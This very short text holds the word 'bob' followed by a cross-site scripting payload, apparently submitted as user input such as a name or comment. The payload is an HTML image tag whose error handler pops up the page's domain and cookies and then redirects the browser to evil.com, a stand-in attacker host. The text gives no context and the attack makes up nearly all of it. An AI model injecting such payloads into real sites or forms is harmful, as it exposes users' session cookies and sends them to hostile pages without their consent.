bob

<img src=x onerror="alert('You have been hacked !!\nDomain: ' + document.domain + '\nCookie: ' + document.cookie); window.location='https://evil.com';">